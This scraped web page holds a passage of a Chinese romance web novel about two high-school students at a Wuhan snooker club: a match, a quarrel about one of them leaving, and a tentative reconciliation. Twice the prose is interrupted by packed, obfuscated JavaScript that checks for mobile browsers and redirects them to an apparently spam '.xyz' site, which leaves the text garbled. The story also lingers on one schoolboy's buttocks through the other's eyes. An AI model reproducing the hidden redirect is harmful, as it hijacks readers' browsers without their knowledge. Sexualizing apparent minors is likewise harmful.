RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875193|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在台球上本来就有天赋,只是缺少系统的学习。被盛千陵尽心尽力教了这么些天,已经能清楚地感知自己右臂从一级到十级的力量。 练完软绵绵的一级控力那天,江里往沙发上一倒,咬着根刚撕开的棒棒糖,得意地冲盛千陵笑道:“陵哥,我现在,是不是不可能再被你打147了?” 他说得嚣张又痞气,好像学了这么点皮毛,明天就能和希金斯争夺世锦赛冠军。 盛千陵也不打击他,但实话实说道:“学了控力也只是基本功,还有很长的路要走,比如杆法。” 江里不服气,反驳:“我杆法怎么了?我也能打高杆低杆,加点技巧而已,谁不会。” 工作日的晚上,时光台球俱乐部不算很忙,开台率也不高。 盛千陵看一眼开着灯用于照明的1号台,忽然说:“江里,我们去1号台打一局吧。” 江里跟着盛千陵学习这么久,还没有正而八经和他对杆过。 两人唯一一比赛,是盛千陵来武汉,而江里说他“装逼遭雷劈”那天。 他训练了这么久,总觉得自己的球技已经有了质的飞跃,再怎么说,凭自己的准度和这点儿摸出门道的控力,不可能输得太惨。 所以,听到盛千陵这么提议,江里自然欣赏应允,兴奋得好像能以此自证,摆脱“狂野球手”的称呼。 两人提着各自的球杆去1号球台。 开始计费后,盛千陵让江里开球。 江里趴下去,重心右移,支起修长的左手,将球杆架在左手合拢的虎口上,摆出出杆的姿势。 盛千陵刚好站在他身后,目光无意间落到他浑圆的臀部,眼睫颤了颤。 江里的臀部又挺又翘,撅起来时,将裤子撑出光滑的平面。臀缝很深,左右两边高低分明,向后突起,露出绝美的弧度与线条。灯光落下来,将他的臀部切割得明亮与暗影鲜明,愈发彰显了圆润。 盛千陵直视几秒,又淡淡地挪开视线。 江里开完球转身,看到盛千陵正在喝水。喉结滑动,性感得一塌糊涂。 江里露出一个得意的笑容,歪着唇吹吹自己的刘海,自吹自擂道:“陵哥,就这一局,你让我40分,如果我还输了,我就任你收拾。” 盛千陵正在给球杆皮头擦巧粉,闻言看也没朝他看,第一次失了优雅和礼仪,压着嗓音回敬道:“那你可能要任我收拾了。” 于是提杆上场,像一个握着宝剑上阵杀敌的将军。 江里只觉得盛千陵今日略微反常,至少在上场击球时,风格看起来与第一次对杆时完全不同。 平时里他理智又克制,会将白球打得像颗旋转的艺术品。 今天他却莫名感觉,盛千陵的球里带了杀气。 杆杆下狠心,毫不留情。 不仅如此,盛千陵发挥了自己登峰造极的准度,以及炉火纯青的杆法,仅用了不到十杆,就将比分拉到了108:40。 江里这40分,还是盛千陵让的。 江里:“……” 比分拉得太大,江里没有再防守追分的必要。 他被钉在原地,睁着双眼看向冷静收杆的盛千陵,诧异地问:“陵哥,这就是职业选手的水准么。” 盛千陵喝了一口水才答:“不。” 他曾说过,作为一名斯诺克选手,需要“准度、杆法、心态”三者共存。 他这一局球,看起来无可挑剔,却并没有做到最好。 江里追问:“有什么问题?” 盛千陵已经在旋拧球杆,将它们收进杆盒里,惜字如金:“还可以更好。” 江里:“……” 原来这就是来自大师级球手的蔑视和羞辱。 唉。 惆怅。 20. 第020章 一局球打完,江里通知收银台关灯结账。 因为规矩是输方付台费,江里主动跑去收银台,准备给钱。 收银员却说:“打了十九分钟,44块,你打五折就是22块,已经从储值卡里扣过了。” 江里很好奇,问:“我没有储值卡啊?” 收银员回答:“盛千陵充了一千块,说你俩结账都用这个。” 江里有些诧异,回头看到盛千陵提着球杆往杆柜那边走,迈开步子跟了过去。 在收银台附近那面墙上,有一批专供会员使用的球杆杆柜,分上下两排,每个杆柜里都配备了吊杆器,会员可以把球杆挂在上面,让球杆保持悬空垂直,以免影响打感。 盛千陵正将自己的球杆往墨绿色吊杆器里塞,江里走过去问他:“陵哥,你办储值卡了?” 盛千陵点一下头,手上的动作没停,说:“对,上次那个比赛,亚军有一千块奖金,就放这儿对杆用吧。” 江里听了,感觉有些怪怪的。明明是一件挺好的事情,他却莫名有些不情愿,又好像有一种被施舍的感觉,叫他心中不太舒坦。 他说:“那你自己用啊,我付我自己的。” 盛千陵已经挂好了球杆,“啪”的一声合上柜门,转过头来看江里,平淡无恙地说:“我在这里待不了多久,对杆也少,用不完。” 江里并没有觉得开心,反而因为盛千陵这句“待不了多久”更觉失落。好像还没相处多久,就提前感受到了分别时的灰暗心情。 他忍不住追问:“待不了多久是多久?你为什么来这边?” 盛千陵难得情绪不佳,话语里有几不可察的刺:“这些不是你应该操心的问题。” 江里好像一个渐渐被吹大的气球,气性上涌:“那我应该关心什么?只关心我涨不涨球?只关心我杆法学不学得会?盛千陵,难道作为朋友,我关心一下你也不行?” 自从拜师以后,江里就很少直呼盛千陵的名字。 向来叫“陵哥”,偶尔耍宝撒娇时,会叫一声“师父”。 这么完完整整喊出这三个字,听起来却有一种别样的味道。有点亲近,却很疏远。好像有一道看不见的河横在两人中间,徒增距离。 半晌后,盛千陵终于回答:“江里,我现在不想说这个。” 还没有做决定的事,他不想说出口。 可是江里却蓦地被点燃怒火,好像有一道怨气没来由的从脚底窜起,直奔心头,烧得他心口鼓噪失了理智。 做朋友不是这么做的。 他想。 于是江里口无遮拦:“什么不想说,说白了就是觉得没必要,没必要跟我说而已。” 按照江里牙尖嘴利的混性子,他能说出更多刺人的话来。 偏偏此时说不出更多,不敢把话说得太重,真让自己没了退路。可确实生气,做不到不宣泄怒意。 盛千陵静静地站在杆柜边,双眼凝视江里。他的目光里浮上一层凉意,好像湖面涌起的霜,又似春日尾声残留的料峭。 明明是白衣胜雪的少年,却又多了几分明显的少年老成。 江里等了几秒,盛千陵都没回答,生气与尴尬交替,让他觉得无力承受此刻古怪难堪的气氛,一转身径直走了。 从时光台球到集贤巷,要不了几分钟。江里走得很快,脚底生风。 回到家后,连吃两颗棒棒糖他才慢慢冷静下来。 可一冷静,却又觉得后悔。 后悔自己莫名其妙发脾气,也为自己的咄咄逼人而懊恼。 盛千陵确实没有必要向他解释什么。 分明就是他自己死皮赖脸求着非要拜盛千陵为师学技术,是他自己死缠烂打天天烦着盛千陵,他有什么资格和立场,去质问盛千陵呢? 说到底,江里也只是不愿意去正视自己心烦意乱的真实原因。 是因为盛千陵在这儿待不了多久,所以他没法长期系统地学习杆法么。 还是因为认识一个多月了,盛千陵根本没把他当朋友,连待多久这种不涉及隐私的事都不愿意说? 又或者,是因为那个梦境残存的威力? 理不清楚,焦躁抓狂。 第二天上学时,江里没精打采一身戾气,看什么都不顺眼。 天气渐热,只需要穿一件印了校徽的白色翻领短袖配运动裤上学,即便如此,江里还是觉得大清早就炎热得厉害,心中躁意更甚。 陈树木走到后边,远远看到江里挎着书包散漫走着,加快几步跑过来,抬起手臂搭在江里肩膀上,说:“里哥,怎么了这是?一脸不耐烦。” 江里厌弃地往旁边侧身,咬牙低吼:“都他妈说多少次了,别碰老子!” 陈树木一副见怪不怪的样子,笑了笑,挪开手臂,追问:“到底出什么事儿了,一大早跟吃了炸药似的。” 江里不想娘们儿唧唧地说自己埋怨盛千陵不把自己当朋友的事,随便扯了句黄腔:“晨勃没释放,不爽。” 陈树木:“……” 两人并排走了几步,有几个女生小跑从他们身边轻跑而过。 女生的夏季校服也是蓝色运动长裤,套在身上跟水桶似的,偏偏其中有个女孩却穿得十分好看,短袖合身,长裤轻盈。 陈树木眼睛都看直了,推攘江里的手臂,用眼神示意他看:“里哥,看,那就是二(3)班的徐小恋。” 江里烦躁地抬眸看去,只看到一张侧脸,觉得有些眼熟。 不过他也没兴趣老盯着人家女生看,回望一眼陈树木,嘲讽道:“你跟个发情开屏的孔雀一样。” 陈树木回呛:“那也好过你想开屏没人看好吧?” 江里:“????” …… 沃日陈树木他大爷。 课间的时候,陈树木出去了一趟,江里睡不着,安静地坐着发呆。 他在犹豫今晚去不去时光台球呢,如果去了,怎么给盛千陵打招呼? 如果盛千陵生他气了怎么办? 如果关系不能回到吵架前了怎么办? 想得心烦意乱时,陈树木欢快地从走廊外回来,屈膝蹲到江里身边,仰头谄媚地说:“里哥里哥,你是不是老去时光台球?” 江里低头瞥去一眼,皱眉道:“明知故问。” 陈树木很开心,笑得像个婴儿似的单纯:“那你今晚帮我打一下掩护呗,我听说徐小恋今天和人约了去打九球,我想去找她。” “我掩护你——”未经思索,江里脱口而出,那个“妈”字都发出了声母“m”的音,却被他生生吞回去,换了种令人毛骨悚然的温柔,笑得和风化雨:“好,我掩护你。” 陈树木发现江里变脸宛如川剧大师,不太懂他为什么突然抽风又正常,好在结果不错,也就懒得追问了。 江里自己也松了口气。 正愁不知道要怎么去面对盛千陵,陈树木就给了他这么好的一个机会。 放学以后,江里没再和往常一样踩着铃声飞奔,而是十分有耐心地等着陈树木。 两人先去利济北路一家湖南米粉店吃了碗汤粉,才慢慢悠悠扯着步子朝武胜路时光台球走。 江里走路姿势闲散,两手抄进裤兜,将裤子撑得微微崩起。一双腿修长笔直,走起路来分外好看。 陈树木凑过来,再次确认:“里哥,你确定对徐小恋没意思,对吧?这不算兄弟我撬你墙角吧?” 江里琢磨着自己昨天对盛千陵说的话,压根儿不考虑那什么徐小恋还是周小恋,敷衍点头搪塞:“不算,你怎么追是你的事。” 陈树木郑重拍拍江里的肩膀,煞有其事地点评:“江里,我就知道你够兄弟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875194|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江里牵了牵嘴角,又继续朝前走了。 四月下旬,天黑得越来越晚。 两人走到乐福广场时,天还没全黑。夕阳未落,残留的橘红光线染亮西方一片天。 江里和陈树木穿过大门,走向电梯,不约而同长吸一口气,随后吐出来。 进时光台球时,1号球台上正好有会员在对杆。 而盛千陵和潘登、洪师傅三人在一边的沙发上坐着。潘登正和对杆的会员交流刚才的某一杆,而盛千陵则正微微侧头,倾听洪师傅讲述自己最近打球遇上的瓶颈。 江里和陈树木一起走进来,视线率先落到穿着白色短袖衬衣的盛千陵身上。 盛千陵好像感知到了这道目光,忽然抬头看过来。 两人视线隔着一张1号台和一截长长的走道,在空中交汇,好像一道黑夜里无声的闪电。 江里心中一凛,顿时感觉到心虚和慌乱,想走向1号球台边的沙发,却迈不动步子。 却没想到,盛千陵只是瞥了江里那么一眼,就很快挪开了目光。 他继续回到和洪师傅的交流里,教他破解瓶颈的训练方法。 江里的心在那一刻酸涩至顶峰。 就像尝了一口被醋酸泡过的柠檬汁,刚刚入喉,便酸到难以忍受,恨不得把嗓子都要抠出来才好。 陈树木不明所以,双眼在场内搜寻一圈,靠近江里,小声兴奋:“里哥,她们在那儿呢。” 江里仓皇抬头,意识失去自主能力,只能跟着陈树木走。他死命压着,才让自己的胸腔起伏看起来毫不明显。 徐小恋和一个女生正在九球区的一张桌子上玩儿,陈树木走过去,假装是偶遇,挥手打招呼:“好巧啊。” 哪知徐小恋抬头看到江里,脸色都变了。 一张脸从白变红,又肉眼可见变得愤怒。她咬着细细的牙,背过身去,假装打球不看江里,也没理陈树木的靠近。 陈树木不知道自己做错了什么,有些讪然。 他之前和徐小恋有过几面之缘,虽然都是替她给江里递信和礼物,但也不至于打个招呼的情分都没有。 一回头看一眼江里,却见江里脸色也很诡异。 江里自然知道徐小恋翻脸的原因。 ——这正是上个月,他贴近人家脸调戏还强迫她回答自己是不是很帅的那个女生。 江里无奈地拍拍陈树木的肩膀,认真说:“儿子,这回算爸爸对不住你。” 陈树木莫名其妙:“????” 江里自然没办法在这儿当着徐小恋的面向陈树木解释,但也不好意思跑去1号球找盛千陵。 权衡之下,还是不要脸地在徐小恋这张球台的沙发边坐下了。 陈树木跑去搭讪,自我介绍说是江里的同桌,和徐小恋见过几次的。 徐小恋一脸愤恨,眼睛里恨不得喷出火来。 陈树木猜是有什么误会,一直跟着徐小恋转悠。徐小恋打球,他就站一边;徐小恋进了球,他就屁颠屁颠鼓掌,脸皮厚得可以和江里相提并论。 江里安静地坐在沙发上,咬着一颗棒棒糖,目光垂下落在灰色的地毯上。 盛千陵刚才那随意一瞥,像一根刺一样插在他心上。江里不愿意和盛千陵冷战,可是让他腆着脸过去当作无事发生,又好像有点难度。 就这么胡思乱想了好一会儿,江里感觉自己心情更乱了。 比初遇盛千陵那天,他一杆炸开的球还乱。 身边的沙发突然承力凹陷下去。 江里以为是陈树木,没有理会,也没吱声儿。 他将那糖从左边口腔换到右边,又从右边换到左边。换来换去,舌头都磨破,还没想出求和的办法。 不免更加烦躁。 旁边的人却忽然轻轻开口:“江里,别生我气了。”